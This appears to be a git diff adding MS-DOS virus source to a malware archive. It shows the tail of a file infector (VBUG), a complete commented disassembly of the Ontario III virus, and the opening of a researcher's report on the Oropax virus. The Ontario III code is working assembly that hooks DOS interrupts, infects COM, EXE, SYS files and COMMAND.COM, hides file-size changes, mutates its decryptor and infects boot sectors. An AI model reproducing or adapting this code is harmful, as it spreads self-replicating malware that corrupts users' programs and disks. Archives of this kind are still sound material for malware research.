03 + je RUN_OLD_21 + cmp al, -1 + jne RO00 + push cs + pop ds + mov dx, offset COMMAND_FILE + call INFECT_PROGRAM + IRET +RO00: + call INFECT_PROGRAM + +RUN_OLD_21: + jmp dword ptr cs:OLD_21 ;Do original interrupt + +INFECT_PROGRAM PROC NEAR +; +;When entering a normal Int 21/AH=4BH +;DS:DX -> Ptr to filename +;ES:BX -> Ptr to Parm Block +;AL -> 0 - Load/Run, 3 - Overlay +; + push es + push ds + push dx + push cx + push bx + push ax +; push si +; push di + + mov ax, 4300H ;Get file attribute + call DO_21 + jb NO_CLOSE + test cl, 00000001b + je VB04 + and cl, 11111110b ;Turn off bit 0 (so you can write) + mov ax, 4301H ;Set file attribute + call DO_21 + jb NO_CLOSE + +VB04: + mov ax, 3D02h ;Open file for reading & writing + call DO_21 +VB05: + JNB VB06 +NO_CLOSE: + JMP END_21 +VB06: + + mov bx, ax ;Put new handle into BX + push cs + pop ds + + mov ax, 5700H ;Get file date + call DO_21 + mov ds:FILE_TIME, cx + mov ds:FILE_DATE, dx + + mov dx, offset TMP_HEADER ;Load in COM/EXE ? file header + mov cx, 1BH ;Size of header (for EXE, it doesn't + ;matter the extra bytes loaded for + ;COM files. + mov ah, 3Fh ;Read from file + call DO_21 +VB10: + jb CLOSE_END + + cmp word ptr ds:SIGN, 'ZM' ;Is this an EXE file? (MZ) + je INFECT_EXE + +INFECT_COM: + mov al, byte ptr SIGN+1 + cmp al, byte ptr SIGN+3 + je CLOSE_END + + xor dx, dx + xor cx, cx + mov ax, 4202H ;Seek from EOF + call DO_21 +VB15: + jb CLOSE_END + +;Returns DX:AX number of bytes seeked (Size of file) + + cmp ax, 0E000H ;Check file size + ja CLOSE_END + push ax + mov ax, ds:word ptr [SIGN+0] + mov word ptr ds:RUN_PROG+0, ax + mov ax, ds:word ptr [SIGN+2] + mov word ptr ds:RUN_PROG+2, ax + pop ax + sub ax, 3 ;Calculate jmp to End of file + mov byte ptr ds:SIGN+0, 0E9H ;JMP FAR + mov word ptr ds:SIGN+1, ax + mov byte ptr ds:SIGN+3, al ;Identification code + + jmp FINISH_INFECT + +;From here in, both EXE & COM files are infected the same +;The virus is written, seek to start of file, and re-write the Header + +INFECT_EXE: + cmp word ptr ds:START_IP, 1 + jne VB19 +VB18: +CLOSE_END: + jmp END_INFECT +VB19: + mov ax, ds:[FILE_SIZE] ;Get file size + mov cx, 200H + mul cx ;Convert to bytes offset + +;If filesize, if bigger then 64K, the overflow is put into DX + + push ax + push dx + mov cl, 04h + ror dx, cl + shr ax, cl ;Convert to paragraphs + add ax, dx + sub ax, ds:SIZE_HEADER + PUSH AX + mov ax, ds:START_IP + mov word ptr ds:RUN_PROG, ax + mov ax, ds:START_CS + add ax, 0010H + mov word ptr ds:RUN_PROG+2, ax + POP AX + mov word ptr ds:START_CS, ax + mov word ptr ds:START_IP, +1 + inc word ptr ds:FILE_SIZE + + pop cx + pop dx + mov ax, 4200H ;Goto end of file + call DO_21 +VB20: + jb VB25 + +FINISH_INFECT: + xor ds:byte ptr [DC00]+1, 08h ;Toggle NEG/NOT + + xor ax, ax + mov ds, ax + mov AL, byte ptr ds:[46CH] ;Lowest byte of timer count + push cs + pop ds + push cs + pop es + mov ds:[CODE_BYTE], AL ;Put high byte of file seek + xor si, si + mov di, offset REAL_EOF + push di ;Push pointer + mov cx, offset EOF + cld + rep movsb + mov si, offset REAL_EOF+04H ;REAL_EOF+VB01 + call DECODE + pop dx ;Restore pointer + mov cx, REAL_SIZE + mov ah, 40h + call DO_21 + JB END_INFECT + + xor cx, cx + xor dx, dx ;Distance to seek into file + mov ax, 4200h ;Seek from start of file + call DO_21 + jb END_INFECT + + mov dx, offset TMP_HEADER ;Ptr to New modified header + mov cx, 1BH ;Size of header + mov ah, 40h ;Write to file + call DO_21 + +VB25: +END_INFECT: + mov dx, ds:FILE_DATE + mov cx, ds:FILE_TIME + mov ax, 5701h ;Set file date/time + call DO_21 + +CLOSE_FILE: + mov ah, 3Eh ;Close the file + call DO_21 +END_21: +; pop di +; pop si + pop ax + pop bx + pop cx + pop dx + pop ds + pop es + RET + +DO_21: + pushf + call dword ptr cs:OLD_21 + ret + +COMMAND_FILE DB 'C:\COMMAND.COM',0 + +MASTER_DECODE: +CODE_BYTE DB 80H + +MASTER_UNCODE: + POP SI + PUSH SI + MOV AL, BYTE PTR CS:[SI+CODE_BYTE-OFFSET VB01] +DECODE: + MOV CX, OFFSET MASTER_DECODE-OFFSET VB01 +DC00: + NOT AL + XOR CS:BYTE PTR [SI], AL + INC SI + LOOP DC00 + RET + +INFECT_PROGRAM ENDP + +EOF: + +OLD_21 DD ? + +FILE_TIME DW ? +FILE_DATE DW ? + +TMP_HEADER: +SIGN DW ? +LEN_IMAGE_MOD DW ? +FILE_SIZE DW ? ;In 512-increments +NUM_REAL DW ? +SIZE_HEADER DW ? +MIN_ABOVE DW ? +MAX_ABOVE DW ? +STACK_SS DW ? +STACK_SP DW ? +CHECKSUM DW ? +START_IP DW ? +START_CS DW ? +DISPLAY_REAL DW ? +OVERLAY_NUM DW ? + +REAL_EOF: + +VBUG ENDP + +CODE ENDS + END VBUG + diff --git a/MSDOS/Virus.MSDOS.Unknown.ontario3.asm b/MSDOS/Virus.MSDOS.Unknown.ontario3.asm new file mode 100644 index 00000000..cf80df9c --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ontario3.asm @@ -0,0 +1,993 @@ + .model tiny + .code +; Ontario III +; Disassembly by Dark Angel of Phalcon/Skism +; Assemble with TASM /m ONTARIO3.ASM + +; Virus written by Death Angel of YAM + org 0 + +decrypt: +patch1: + mov di,offset endvirus ; usually: offset enddecrypt +patch2 = $ - 2 +patch3 = $ + mov cx,37E5h +patch4 = $ - 2 +patch5: + db 82h, 0C5h, 0D0h ; add ch,0D0h +patch6 = $ - 1 +patch7: + mov al,0Ah +patch8 = $ - 1 + +decrypt_loop: + add cs:[di],al +patch9 = $ - 1 +patch10: + ror al,cl +patch11 = $ - 1 +patch12: + inc di +patch13: + loop decrypt_loop +enddecrypt: + +patch14: + db 89h, 0FBh ; mov bx,di +patch15 = $ - 1 + + sub bx,offset save4 + xchg ax,cx + dec ax + cld + call saveorigvectors + db 0e9h ; jmp +SYSpatch dw 0 ; currently jmp to next line + int 21h ; installation check + or al,ah + jz restorefile + push ds + mov cx,bx + mov di,ds ; save current ds + mov ah,13h ; get BIOS int 13h handler + int 2Fh ; to ds:dx and es:bx + + mov si,ds ; does function function? + cmp si,di + je skipit + push ds + push dx + mov ah,13h ; restore handler + int 2Fh + + + mov bx,cx ; but save its address too + pop word ptr cs:[bx+storeint13_1] + pop word ptr cs:[bx+storeint13_2] +skipit: + xor di,di + mov cx,es + dec cx + mov ds,cx ; get MCB of current program + sub word ptr [di+3],140h ; decrease size by 5K + mov ax,[di+12h] ; get high memory from PSP + sub ax,140h ; decrease size by 5K + mov [di+12h],ax ; replace it + mov es,ax ; es->high memory segment + sub ax,1000h + mov word ptr cs:[bx+patchsegment],ax + push cs + pop ds + mov si,bx + mov cx,offset save4 + rep movsb + mov ds,cx + cli + mov word ptr ds:21h*4,offset int21 ; set int 21h handler + mov ds:21h*4+2,es ; to virus's + sti + mov ax,4BFFh ; infect COMSPEC + push bx + int 21h + pop bx + pop ds + push ds + pop es +restorefile: + lea si,[bx+offset save4] + mov di,100h + cmp bx,di + jb restoreEXE + push di + movsw + movsw + retn +restoreEXE: + mov ax,es ; get start segment + add ax,10h ; adjust for PSP + add cs:[si+2],ax ; relocate CS + add cs:[si+4],ax ; relocate SS + cli + mov sp,cs:[si+6] ; restore stack + mov ss,cs:[si+4] + sti + jmp dword ptr cs:[si] + +int21instcheck: + inc ax + iret + +int21: + cmp ax,0FFFFh ; installation check? + je int21instcheck + cmp ah,4Bh ; execute? + je execute + cmp ah,11h ; FCB find first? + je findfirstnext + cmp ah,12h ; FCB find next? + je findfirstnext + cmp ax,3D00h ; open file read only? + jne int21exit + call handleopen +int21exit: + db 0EAh ; jmp far ptr +oldint21 dd 0 + +findfirstnext: ; standard stealth routine + push bp + mov bp,sp + cmp word ptr [bp+4],1234h +patchsegment = $ - 2 + pop bp + jb int21exit + call callint21 ; do findfirst/next + call pushall + mov ah,2Fh ; Get DTA + call callint21 + cmp byte ptr es:[bx],0FFh ; extended FCB? + je findfirstnextnotextendedFCB + sub bx,7 ; convert to standard +findfirstnextnotextendedFCB: + mov al,es:[bx+1Eh] ; get seconds counter + and al,1Fh ; check if 62 seconds + cmp al,1Fh ; (infection marker) + jne findfirstnextexit ; exit if not + mov dx,es:[bx+26h] ; get file size + mov ax,es:[bx+24h] + sub ax,viruslength ; decrease by virus + sbb dx,0 ; size + or dx,dx + jc findfirstnextexit + mov es:[bx+26h],dx ; replace file size + mov es:[bx+24h],ax ; with "stealthed" one +findfirstnextexit: + call popall + iret + +execute: + mov byte ptr cs:infectSYS,0 + cmp al,1 ; load/don't execute + je load_noexecute + cmp al,0FFh ; called by virus + je infectCOMSPEC + call infectDSDX + jmp short int21exit + +infectCOMMANDCOM: + mov byte ptr cs:infectSYS,0 + push dx + push ds + mov dx,offset command_com + push cs + pop ds + mov byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM + call infectDSDX + pop ds + pop dx + iret + +infectCOMSPEC: + mov ah,51h ; Get current PSP + call callint21 + mov es,bx + mov ds,es:[2Ch] ; environment block + xor si,si + push cs + pop es +infectCOMSPECfindcomspec: + mov di,offset comspec ; is 'COMSPEC=' the first + mov cx,4 ; entry in environment? + repe cmpsw ; (should be) + jcxz infectCOMSPECnoenvironment ; otherwise, quit +infectCOMSPECfindend: + lodsb ; search for end of string + or al,al + jnz infectCOMSPECfindend + cmp byte ptr [si],0 ; found it? + jne infectCOMSPECfindcomspec; nope, try again + jmp short infectCOMMANDCOM ; otherwise, infect +infectCOMSPECnoenvironment: + mov dx,si + mov byte ptr cs:infCOMMAND,0FFh ; infecting COMMAND.COM + call infectDSDX ; but are we really? Maybe + iret ; it's 4DOS. This is a bug. +load_noexecute: + push es ; save parameter block + push bx + call callint21 ; prechain + pop bx + pop es + call pushall + jnc load_noexecute_ok ; continue if no error + jmp load_noexecute_exit +load_noexecute_ok: + xor cx,cx + lds si,dword ptr es:[bx+12h]; get entry point on return + push ds + push si + mov di,100h + cmp si,di + jl loading_EXE + ja load_noexecute_quit +; debugger active + lodsb + cmp al,0E9h ; check if infected + jne load_noexecute_quit + lodsw + push ax ; save jmp location + lodsb + cmp al,'O' ; check for infection marker + pop si ; get jmp location + jnz load_noexecute_quit + add si,103h ; convert to file offset + inc cx + inc cx + pop ax + push si + push ds + pop es + jmp short check_infection +loading_EXE: + lea di,[bx+0Eh] ; check SS:SP on return + cmp word ptr es:[di],9FFh ; infected? + jne load_noexecute_quit +check_infection: + lodsb + cmp al,0BBh ; possibility 1 + je infected_checked1 + cmp al,0BEh ; possibility 2 + je infected_checked1 + cmp al,0BFh ; possibility 3 + jne load_noexecute_quit +infected_checked1: + lodsw ; get starting offset + push ax ; to decrypt + lodsb ; get next byte + cmp al,0B9h ; check for infection + lodsw + pop si ; offset to decrypt + jnz load_noexecute_quit + cmp ah,7 ; check if infected + je infected_checked2 + cmp al,0E5h ; ditto + jne load_noexecute_quit +infected_checked2: + add si,save4 - enddecrypt + jcxz disinfectEXE + rep movsw + jmp short finish_disinfection +disinfectEXE: + mov ah,51h ; Get current PSP + call callint21 + add bx,10h ; go to file starting CS + mov ax,[si+6] + dec ax + dec ax + stosw + mov ax,[si+4] + add ax,bx + stosw + movsw + lodsw + add ax,bx + stosw +finish_disinfection: + pop di + pop es + xchg ax,cx + mov cx,viruslength + rep stosb + jmp short load_noexecute_exit +load_noexecute_quit: + pop ax + pop ax +load_noexecute_exit: + call popall + retf 2 + + +handleopen: + call pushall + mov si,dx ; find extension of +handleopenscanloop: ; ASCIIZ string + lodsb + or al,al ; found end of screen? + jz handleopenexit ; yup, no extension -- exit + cmp al,'.' ; extension found? + jne handleopenscanloop + mov di,offset validextensions - 3 + push cs + pop es + mov cx,4 + nop + +scanvalidextension: + push cx + push si + mov cl,3 + add di,cx + push di + +check_extension: + lodsb + and al,5Fh ; Capitalise + cmp al,es:[di] ; do they compare ok? + jne extension_no_match ; nope, try next one + inc di + loop check_extension + + cmp al,'S' ; SYS file? + jne opennotSYS + mov byte ptr cs:infectSYS,0FFh ; infecting SYS file +opennotSYS: + call infectDSDX + add sp,6 + jmp short handleopenexit +extension_no_match: + pop di + pop si + pop cx + loop scanvalidextension + +handleopenexit: + call popall + retn + +infectDSDX: + call pushall + call replaceint13and24 + push dx + push ds + mov ax,4300h ; get attributes + call callint21 + push cx + pushf + jc go_restoreattribs + push cx + and cl,1 ; check if read only + cmp cl,1 + jne infectDSDXnoclearattributes + xor cx,cx ; clear if so + mov ax,4301h + call callint21 +infectDSDXnoclearattributes: + pop cx + and cl,4 + cmp cl,4 + je go_restoreattribs + mov ax,3D02h ; open file read/write + call callint21 + jnc infectDSDXopenOK ; continue if no error +go_restoreattribs: + jmp infectDSDXrestoreattributes +infectDSDXopenOK: + xchg ax,bx ; handle to bx + push cs + push cs + pop ds + pop es + mov word ptr ds:SYSpatch,0 + mov ax,5700h ; save file time/date + call callint21 + push dx + push cx + and cl,1Fh ; check if infected + cmp cl,1Fh ; (seconds == 62) + je infectDSDXerror + mov dx,offset readbuffer ; read header from + mov cx,1Ch ; potential carrier + mov ah,3Fh ; file to the + call callint21 ; buffer + jnc infectDSDXreadOK ; continue if no error +infectDSDXerror: + stc ; mark error + jmp infectDSDXclose ; and exit +infectDSDXreadOK: + cmp ax,cx ; read 1ch bytes? + jne infectDSDXerror ; exit if not + xor dx,dx + mov cx,dx + mov ax,4202h ; go to end of file + call callint21 + or dx,dx + jnz infectDSDXfilelargeenough + cmp ax,0A01h ; check if too small + jb infectDSDXerror +infectDSDXfilelargeenough: + cmp dl,5 + ja infectDSDXerror + cmp word ptr ds:readbuffer,'ZM' ; EXE? + je infectDSDXskipcheck + cmp word ptr ds:readbuffer,'MZ' ; EXE? +infectDSDXskipcheck: + je infectDSDXcheckEXE + cmp byte ptr ds:infectSYS,0FFh ; infecting SYS file? + jne infectDSDXcheckCOM + cmp word ptr ds:readbuffer,0FFFFh ; check if SYS + jne infectDSDXerror ; file + cmp word ptr ds:readbuffer+2,0FFFFh +isanoverlay: + jne infectDSDXerror + or dx,dx + jnz infectDSDXerror + push ax ; save file size + mov di,offset save4 + mov ax,5657h ; push di, push si + stosw + mov ax,0E953h ; push bx, jmp decrypt + stosw + mov ax,offset decrypt - (offset save4 + 6) + stosw + mov ax,word ptr ds:readbuffer+6 ; get strategy start point + stosw + pop ax ; get file size + push ax + add ax,offset save4 + mov word ptr ds:readbuffer+6,ax + mov word ptr ds:SYSpatch,offset strategy-(offset SYSpatch + 2) + mov byte ptr ds:decrypt_loop,36h ; replace with SS: + pop ax + add ax,offset enddecrypt + jmp short go_infectDSDXcontinue +infectDSDXcheckCOM: + cmp byte ptr ds:readbuffer+3,'O'; check if already infected +jmp_infectDSDXerror: + je infectDSDXerror + cmp byte ptr ds:infCOMMAND,0; infecting COMMAND.COM? + je dontdoslackspace + sub ax,viruslength ; infect slack space of + xchg ax,dx ; command.com + xor cx,cx + mov ax,4200h + call callint21 +dontdoslackspace: + mov si,offset readbuffer + mov di,offset save4 + movsw + movsw + sub ax,3 ; convert size->jmp dest + mov byte ptr ds:readbuffer,0E9h ; encode JMP + mov word ptr ds:readbuffer+1,ax ; and destination + mov byte ptr ds:readbuffer+3,'O' ; mark infected + add ax,116h +go_infectDSDXcontinue: + jmp short infectDSDXcontinue +infectDSDXcheckEXE: + cmp word ptr ds:readbuffer+10h,0A01h ; already infected? + je jmp_infectDSDXerror + cmp word ptr ds:readbuffer+1Ah,0 + jne isanoverlay ; exit if it's an overlay + + push dx + push ax + mov cl,4 + ror dx,cl + shr ax,cl + add ax,dx ; ax:dx = file size + sub ax,word ptr ds:readbuffer+8 ; subtract header size + mov si,offset readbuffer+14h + mov di,offset origCSIP + movsw ; save initial CS:IP + movsw + mov si,offset readbuffer+0Eh + movsw ; save initial SS:SP + movsw + mov word ptr ds:readbuffer+16h,ax ; set initial CS + mov word ptr ds:readbuffer+0Eh,ax ; set initial SS + mov word ptr ds:readbuffer+10h,0A01h ; set initial SP + pop ax + pop dx + push ax + add ax,0A01h + + ; adc dx,0 works just as well + jnc infectEXEnocarry + inc dx +infectEXEnocarry: + mov cx,200h ; take image size + div cx + ; The next line is not entirely corrrect. The image size + ; div 512 is rounded up. Therefore, DOS will find this number + ; to be off by 512d bytes + mov word ptr ds:readbuffer+4,ax ; image size div 512 + mov word ptr ds:readbuffer+2,dx ; image size mod 512 + pop ax + and ax,0Fh + mov word ptr ds:readbuffer+14h,ax ; set initial IP + add ax,offset enddecrypt +infectDSDXcontinue: + mov word ptr ds:patch2,ax ; patch start area + push bx ; save file handle + xor byte ptr ds:decrypt_loop,18h ; swap SS: & CS: + call encrypt ; encrypt virus to buffer + pop bx ; restore file handle + mov ah,40h ; Concatenate encrypted + call callint21 ; virus + jc infectDSDXclose ; exit on error + xor dx,dx + mov cx,dx + mov ax,4200h ; go to start of file + call callint21 + jc infectDSDXclose + mov dx,offset readbuffer + mov cx,1Ch + mov ah,40h ; Write new header + call callint21 +infectDSDXclose: + pop cx + pop dx + jc infectDSDXnoaltertime + cmp byte ptr ds:infCOMMAND,0FFh ; infecting COMMAND.COM? + je infectDSDXnoaltertime + or cl,1Fh ; set time to 62 seconds +infectDSDXnoaltertime: + mov ax,5701h ; restore file time/date + call callint21 + mov ah,3Eh ; Close file + call callint21 +infectDSDXrestoreattributes: + mov byte ptr cs:infCOMMAND,0 + mov byte ptr cs:infectSYS,0 + popf + pop cx + pop ds + pop dx + jc infectDSDXexit + mov ax,4301h ; restore file attributes + call callint21 +infectDSDXexit: + call restoreint13and24 + call popall + retn + +pushall: + push bp + mov bp,sp + push bx + push cx + push dx + push si + push di + push ds + push es + pushf + xchg ax,[bp+2] + push ax + mov ax,[bp+2] + retn + +popall: + pop ax + xchg ax,[bp+2] + popf + pop es + pop ds + pop di + pop si + pop dx + pop cx + pop bx + pop bp + retn + +replaceint13and24: + push ds + xor ax,ax + mov ds,ax + mov si,13h*4 + lodsw + mov word ptr cs:origint13_1,ax + lodsw + mov word ptr cs:origint13_2,ax + mov si,24h*4 + lodsw + mov word ptr cs:origint24_1,ax + lodsw + mov word ptr cs:origint24_2,ax + mov word ptr ds:13h*4,1234h +storeint13_1 = $ - 2 + mov word ptr ds:13h*4+2,1234h +storeint13_2 = $ - 2 + mov word ptr ds:24h*4,offset int24 ; replace int 24 handler + mov ds:24h*4+2,cs + pop ds + retn + +restoreint13and24: + xor ax,ax + mov ds,ax + mov word ptr ds:13h*4,1234h +origint13_1 = $ - 2 + mov word ptr ds:13h*4+2,1234h +origint13_2 = $ - 2 + mov word ptr ds:24h*4,1234h +origint24_1 = $ - 2 + mov word ptr ds:24h*4+2,1234h +origint24_2 = $ - 2 + retn + +int24: + xor al,al + iret + +encrypt: + mov di,offset patch4 + mov si,di + mov word ptr [si],offset save4 - offset enddecrypt + xor bx,bx + call random + jz encrypt1 + add bl,4 + inc di +encrypt1: + call random + in al,40h ; get random # + mov bh,al + jz encrypt2 + add [di],al ; alter amount to encrypt + add bl,28h + jmp short encrypt3 +encrypt2: + sub [di],al ; alter amount to encrypt +encrypt3: + add bl,0C1h + mov [si+3],bx + call random + jz encrypt4 + xor byte ptr [si+2],2 ; flip betwen add/sub +encrypt4: + in ax,40h ; get random number != 0 + or ax,ax + jz encrypt4 + mov bx,3 ; first choose one of + xor dx,dx ; three possible registers + div bx + xchg ax,bx + inc ax ; ax = 4 + mul dx ; convert to offset in + xchg ax,bx ; table + lea si,[bx+offset table1] + lodsb + mov byte ptr ds:patch1,al + lodsb + mov byte ptr ds:patch9,al + lodsb + mov byte ptr ds:patch12,al + lodsb + mov byte ptr ds:patch15,al + call random + jz encrypt5 + xor byte ptr ds:patch13,2 ; loop/loopnz +encrypt5: + in ax,40h ; get random number + mov byte ptr ds:patch8,ah + and ax,0Fh + xchg ax,bx + shl bx,1 + mov ax,[bx+offset table2] + mov word ptr ds:patch10,ax + xor si,si + mov di,offset encryptbuffer ; copy virus to + mov cx,endvirus - decrypt ; temporary buffer + push cx ; for encryption + cld + rep movsb + mov bx,offset enddecrypt + push word ptr [bx] ; save it + mov byte ptr [bx],0C3h ; put retn in its place + push bx + xor byte ptr [bx-7],28h ; sub/add + push word ptr ds:decrypt_loop + mov byte ptr [bx-8],2Eh ; CS: + mov dx,offset encryptbuffer + add bx,dx + mov word ptr ds:patch2,bx + call decrypt + pop word ptr ds:decrypt_loop + pop bx + pop word ptr [bx] + pop cx + retn + + +random: ; 1/2 chance of zero flag set + in al,40h + and al,1 + cmp al,1 + retn + + +saveorigvectors: + push ds + push ax + xor ax,ax + mov ds,ax + mov ax,ds:13h*4 + mov word ptr cs:[bx+storeint13_1],ax + mov ax,ds:13h*4+2 + mov word ptr cs:[bx+storeint13_2],ax + mov ax,ds:21h*4 + mov word ptr cs:[bx+offset oldint21],ax + mov ax,ds:21h*4+2 + mov word ptr cs:[bx+offset oldint21+2],ax + pop ax + pop ds + retn + +strategy: + mov word ptr cs:[bx+doffset],bx ; save delta offset + pop bx + pop di + pop si + call pushall + push cs + pop ds + mov bx,1234h ; restore delta offset +doffset = $ - 2 + db 8bh, 87h ; mov ax,ds:[save4+6] + dw offset save4 + 6 ; get old strategy entry point + mov word ptr ds:[6],ax ; and restore to file header + int 12h ; Get memory size in K + sub ax,5 ; decrease by 5 K + mov cl,6 ; convert to paragraphs + shl ax,cl + mov es,ax + mov word ptr ds:[bx+himemsegment],ax + cmp byte ptr es:[3],0B9h ; check if already installed + je strategyexit + mov si,bx ; copy to high memory + xor di,di + mov cx,viruslength + rep movsb + pushf + db 09Ah ; call far ptr + dw infectCOMMANDCOM +himemsegment dw 0 + +strategyexit: + call popall + jmp word ptr cs:[6] ; go to original strategy + +table1 db 0BEh, 04h, 46h,0F3h ; si + db 0BFh, 05h, 47h,0FBh ; di + db 0BBh, 07h, 43h,0DBh ; bx + +table2: inc al + dec al + inc ax + inc ax + dec ax + dec ax + add al,cl + sub al,cl + xor al,cl + xor al,ch + not al + neg al + ror al,1 + rol al,1 + ror al,cl + rol al,cl + nop + nop + add al,ch + +comspec db 'COMSPEC=' +command_com db '\COMMAND.COM',0 + +validextensions db 'COMEXEOVLSYS' + +bootsector: ; offset 600h in the virus + jmp short bootsectorentry + nop +bootparms db 3Bh dup (0) + +bootsectorentry: + xor ax,ax + mov ds,ax + cli + mov ss,ax + mov sp,7C00h + sti + mov ax,ds:13h*4 ; get int 13h handler + mov word ptr ds:[7C00h+oldint13-bootsector],ax + mov ax,ds:13h*4+2 ; and save it + mov word ptr ds:[7C00h+oldint13+2-bootsector],ax + mov ax,ds:[413h] ; get total memory + sub ax,2 ; reduce by 2K + mov ds:[413h],ax ; replace memory size + mov cl,6 + shl ax,cl ; convert to paragraphs + sub ax,60h ; go to boot block start + mov es,ax + mov si,sp + mov di,offset bootsector + mov cx,100h + rep movsw + mov dx,offset highentry + push es + push dx + retf +highentry: + xor ax,ax ; reset disk + and dl,al + int 13h + push ds + push es + pop ds + pop es + mov bx,sp ; read to 0:7C00h + mov dx,drivehead ; find where original boot + mov cx,sectortrack ; block stored and then + mov ax,201h ; read original boot + int 13h ; sector + jc $ ; halt on error + xor ax,ax ; else chain to original + mov ds,ax ; boot sector + mov word ptr ds:13h*4,offset int13 + mov ds:13h*4+2,cs ; replace int 13h handler + push es + push bx + retf + +int13: + push bp + mov bp,sp + push ds + push es + push si + push di + push dx + push cx + push bx + push ax + pushf + xor bx,bx + mov ds,bx + test byte ptr ds:[43Fh],1 ; A: spinning? + jnz exitint13 ; exit if so + or dl,dl ; default drive? + jnz exitint13 ; exit if not + cmp ah,2 ; read/write/verify? + jb exitint13 + cmp ah,4 + jbe trapint13 +exitint13: + popf + pop ax + pop bx + pop cx + pop dx + pop di + pop si + pop es + pop ds + pop bp + jmp dword ptr cs:oldint13 ; chain to original handler + +trapint13: + cld + push cs + push cs + pop es + pop ds + xor cx,cx + mov dx,cx + inc cx + mov bx,offset endvirus ; read boot block to + mov ax,201h ; buffer at endvirus + call callint13 + jnc int13readOK +int13exit: + jmp short exitint13 +int13readOK: + cmp word ptr [bx+15h],501Eh ; push ds, push ax? + jne int13skip + cmp word ptr [bx+35h],0FF2Eh; jmp cs: ? + jne int13skip + cmp word ptr [bx+70h],7505h ; add ax,XX75 ? + jne int13skip + mov dh,1 + mov cl,3 + mov ax,201h + call callint13 + xor dh,dh + mov cl,1 + mov ax,301h + call callint13 +int13skip: + cmp word ptr ds:[offset endvirus-bootsector+YAM],'Y*' + je int13exit ; don't infect self + cmp word ptr ds:[offset endvirus+0Bh],200h + jne int13exit ; infect only 512 bytes per sector + cmp byte ptr ds:[offset endvirus+0Dh],2 + jne int13exit ; only 2 reserved sectors + cmp word ptr ds:[offset endvirus+1Ah],2 + ja int13exit ; only 2 sec/track + xor dx,dx ; calculate new location of boot block + mov ax,word ptr ds:[offset endvirus+13h] ; total sec + mov bx,word ptr ds:[offset endvirus+1Ah] ; sec/track + mov cx,bx + div bx ; # track + xor dx,dx + mov bx,word ptr ds:[offset endvirus+18h] ; sec/FAT + div bx + sub word ptr ds:[offset endvirus+13h],cx ; total sec + dec ax + mov byte ptr sectortrack+1,al + mov ax,word ptr ds:[offset endvirus+18h] ; sec/FAT + mov byte ptr sectortrack,al + mov ax,word ptr ds:[offset endvirus+1Ah] ; sec/track + dec ax + mov byte ptr drivehead+1,al + mov byte ptr drivehead,0 + mov dx,drivehead ; move original boot block + mov cx,sectortrack ; to end of disk + mov bx,offset endvirus + mov ax,301h + call callint13 + jc go_exitint13 + mov si,offset endvirus+3 ; copy parameters so + mov di,offset bootparms ; no one notices boot + mov cx,bootsectorentry - bootparms ; block is changed + rep movsb + xor cx,cx + mov dx,cx + inc cx + mov bx,offset bootsector ; copy virus boot block + mov ax,301h + call callint13 +go_exitint13: + jmp exitint13 + +callint21: + pushf + call dword ptr cs:oldint21 + retn + +callint13: + pushf + call dword ptr cs:oldint13 + retn + +oldint13 dd 0 +drivehead dw 100h +sectortrack dw 2709h +YAM db '*YAM*',1Ah + db 'Your PC has a bootache! - Get some medicine!',1Ah + db 'Ontario-3 by Death Angel',1Ah,1Ah,1Ah,1Ah +save4: +origCSIP db 0CDh, 020h, 0, 0 +origSSSP dd 0 + +endvirus: + +viruslength = $ - decrypt + +infCOMMAND db ? +infectSYS db ? +readbuffer db 01Ch dup (?) +encryptbuffer db viruslength dup (?) + + end decrypt diff --git a/MSDOS/Virus.MSDOS.Unknown.oropax.asm b/MSDOS/Virus.MSDOS.Unknown.oropax.asm new file mode 100644 index 00000000..b606eaf8 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.oropax.asm @@ -0,0 +1,1735 @@ +-this report was compiled by thomas vogler, schaeferweg 25, 6107 reinheim, +west germaney. my phone number (voice) is +-49-6162-4349. + +-first the most important conclusions: + +1. a file that is infected, contains E9 at byte 1 and F1 at byte +offset 4. the size of the file is an integral multiple of 33 (51 (decimal)). + +2. the virus infects only .COM files + +3. the virus makes itself resident and plays some tunes after a while + +-all numbers in this report are in HEX (base 16 (dec)), unless otherwise +stated. + +-the two files compared have the following directory characteristics: + + Volume in drive C has no label + Directory of C:\APPL\PROCOMM\MTVIRUS + +TANK CO 8488 22.11.89 5.19 +TANK1 CO 11271 22.11.89 5.19 + 2 File(s) 1650688 bytes free + +the files were renamed from .com to .co to avoid unintended starting, all +numbers above are decimal, due to the dos directory command. the hexadecimal +sizes of the files are: + +TANK.CO 2128 +TANK1.CO 2C07 + +-the file tank1.co is the infected file. + +-differences between the two files: + +the virus starts at byte 2128 with the byte E9. the virus is somehow relocated +so that the byte at 2128 is originated to be at offset 100 within the code +segment during execution. + +the infected file ends at 2c06 with the bytes 10 3c + +thus the virus did append 2C06 - 2128 + 1 = ADF bytes +to the file. + +-below is a disassembly of the virus, carried out with good old debug: + + + ; + ; here is the disassemly of the first 4 bytes of + ; the infected file tank1.com + ; +1CF5:0100 E92521 JMP 2228 ; jump to the first byte + ; that was appended to + ; the original file. the + ; offset inside this + ; instruction is needed + ; later + +1CF5:0103 F1 db f1 ; this byte is used as + ; an additional marker + ; during infection of + ; other files. + + ; + ; here the original code for the old program is + ; located + ; + + db ? dup (?) + + + ; + ; this is the first byte, that was appended to the + ; original file. here is the start of the virus, which + ; should be treated as originated to 0100. + ; +0100 E9DD08 JMP 2B08 ; jump to the main entry + +00F8/2220 E9 DD 08 ... + ;---------------------------------------------------- +0103 db 4 dup (?) ; save area for the + ; original code in the + ; com file (4 bytes) +00F8/2220 BC FC 19 89 .... + ;---------------------------------------------------- + +00F8/2220 14 . +0108/2230 00 01 18 17 .... + ;---------------------------------------------------- + ; + ; save area for the original int21 vector + ; +010C dw ? +010E dw ? + +0108/2230 77 03 40 11 w.@. + + ;---------------------------------------------------- + ; + ; save area for the original int27 vector + ; +0110 dw ? +0112 dw ? + +0108/2230 08 09 40 11 ..@. + ;---------------------------------------------------- + ; + ; save area for the old int20 vector + ; +0114 dw ? +0116 dw ? + +0108/2230 67 03 40 11 g.@. + ;---------------------------------------------------- +0118/2240 00 00 00 00 .... + ;---------------------------------------------------- + ; + ; here we store the original interrupt 8 (timer) + ; +011C dw ? +011E dw ? + +0118/2240 AA 00 77 0F- ..w. + + ;---------------------------------------------------- + ; + ; the following are dependent of order, since both are + ; loaded with a lds instruction + ; +0120 dw ? ; offset of dta +0122 dw ? ; segment of dta + +0118/2240 8A 45 0A 9B .E.. + 